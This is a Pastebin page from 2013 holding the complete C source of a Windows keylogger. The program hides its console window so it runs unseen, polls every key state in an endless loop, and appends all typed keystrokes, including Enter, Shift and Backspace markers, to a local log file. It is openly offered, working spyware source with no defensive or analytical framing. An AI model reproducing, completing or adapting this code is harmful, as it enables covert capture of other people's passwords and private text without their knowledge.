thieumao

Code C Simple Keylogger

Jun 5th, 2013
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.99 KB | None | 0 0
  1. //Simple Keylogger in C
  2.  
  3. #include <windows.h>
  4. #include <stdio.h>
  5. #include <winuser.h>
  6. #include <windowsx.h>
  7. #include <time.h>
  8. //Definitions
  9. #define LogLength 100
  10. #define FileName "logs.txt"
  11. //Prototype
  12. int get_keys(void);
  13. //MAIN
  14. int main(void) {
  15. //Stealth Stuff
  16.     HWND stealth;
  17.     AllocConsole();
  18.     stealth = FindWindowA("ConsoleWindowClass", NULL );
  19.     ShowWindow(stealth, 0);
  20.  
  21. // I.D.K. Stuff
  22.  
  23.     FILE *file;
  24.     file = fopen(FileName, "a+");
  25.     time_t theTime = time(0);
  26.     fputs("\n#\n##\n###\n#####################\n###Started Logging @@@ ", file);
  27.     fputs(ctime(&theTime), file);
  28.     fputs("\n#####################\n###\n##\n#\n", file);
  29.     fclose(file);
  30.  
  31. //Logging Stuff
  32.     int t = get_keys();
  33.     return t;
  34. }
  35. int get_keys() {
  36.     int freadindex;
  37.     char *buf;
  38.     long len;
  39.     FILE *file;
  40.     file = fopen(FileName, "a+");
  41.     short character;
  42.     while (1) {
  43.         Sleep(5);
  44.         for (character = 8; character <= 222; character++) {
  45.             if (GetAsyncKeyState(character) == -32767) {
  46.                 FILE *file;
  47.                 file = fopen(FileName, "a+");
  48.                 if (file == NULL ) {
  49.                     return 1;
  50.                 }
  51.                 if (file != NULL ) {
  52.                     if ((character >= 39) && (character <= 64)) {
  53.                         fputc(character, file);
  54.                         fclose(file);
  55.                         break;
  56.                     } else if ((character > 64) && (character < 91)) {
  57.                         character += 32;
  58.                         fputc(character, file);
  59.                         fclose(file);
  60.                         break;
  61.                     } else {
  62.                         switch (character) {
  63.                         case VK_SPACE:
  64.                             fputc(' ', file);
  65.                             fclose(file);
  66.                             break;
  67.                         case VK_SHIFT:
  68.                             fputs("[SHIFT]", file);
  69.                             fclose(file);
  70.                             break;
  71.                         case VK_RETURN:
  72.                             fputs("\n[ENTER]\n", file);
  73.                             fclose(file);
  74.                             break;
  75.                         case VK_BACK:
  76.                             fputs("[BACKSPACE]", file);
  77.                             fclose(file);
  78.                             break;
  79.                         case VK_TAB:
  80.                             fputs("[TAB]", file);
  81.                             fclose(file);
  82.                             break;
  83.                         case VK_CONTROL:
  84.                             fputs("[CTRL]", file);
  85.                             fclose(file);
  86.                             break;
  87.                         case VK_DELETE:
  88.                             fputs("[DEL]", file);
  89.                             fclose(file);
  90.                             break;
  91.                         case VK_OEM_1:
  92.                             fputs(":;", file);
  93.                             fclose(file);
  94.                             break;
  95.                         case VK_OEM_2:
  96.                             fputs("?", file);
  97.                             fclose(file);
  98.                             break;
  99.                         case VK_OEM_3:
  100.                             fputs("~", file);
  101.                             fclose(file);
  102.                             break;
  103.                         case VK_OEM_4:
  104.                             fputs("{\r\n", file);
  105.                             fclose(file);
  106.                             break;
  107.                         case VK_OEM_5:
  108.                             fputs("\\", file);
  109.                             fclose(file);
  110.                             break;
  111.                         case VK_OEM_6:
  112.                             fputs("}", file);
  113.                             fclose(file);
  114.                             break;
  115.                         case VK_OEM_7:
  116.                             fputs("\"", file);
  117.                             fclose(file);
  118.                             break;
  119.                         case 187:
  120.                             fputc('+', file);
  121.                             fclose(file);
  122.                             break;
  123.                         case 188:
  124.                             fputc(',', file);
  125.                             fclose(file);
  126.                             break;
  127.                         case 189:
  128.                             fputc('-', file);
  129.                             fclose(file);
  130.                             break;
  131.                         case 190:
  132.                             fputc('.', file);
  133.                             fclose(file);
  134.                             break;
  135.                         case VK_NUMPAD0:
  136.                             fputc('0', file);
  137.                             fclose(file);
  138.                             break;
  139.                         case VK_NUMPAD1:
  140.                             fputc('1', file);
  141.                             fclose(file);
  142.                             break;
  143.                         case VK_NUMPAD2:
  144.                             fputc('2', file);
  145.                             fclose(file);
  146.                             break;
  147.                         case VK_NUMPAD3:
  148.                             fputc('3', file);
  149.                             fclose(file);
  150.                             break;
  151.                         case VK_NUMPAD4:
  152.                             fputc('4', file);
  153.                             fclose(file);
  154.                             break;
  155.                         case VK_NUMPAD5:
  156.                             fputc('5', file);
  157.                             fclose(file);
  158.                             break;
  159.                         case VK_NUMPAD6:
  160.                             fputc('6', file);
  161.                             fclose(file);
  162.                             break;
  163.                         case VK_NUMPAD7:
  164.                             fputc('7', file);
  165.                             fclose(file);
  166.                             break;
  167.                         case VK_NUMPAD8:
  168.                             fputc('8', file);
  169.                             fclose(file);
  170.                             break;
  171.                         case VK_NUMPAD9:
  172.                             fputc('9', file);
  173.                             fclose(file);
  174.                             break;
  175.                         case VK_CAPITAL:
  176.                             fputs("\n[CAPSLOCK]\n", file);
  177.                             fclose(file);
  178.                             break;
  179.                         default:
  180.                             fclose(file);
  181.                             break;
  182.                         }
  183.                     }
  184.                 }
  185.             }
  186.         }
  187.  
  188.         fclose(file);
  189.     }
  190.  
  191.     return EXIT_SUCCESS;
  192. }
Advertisement
Add Comment
Please, Sign In to add comment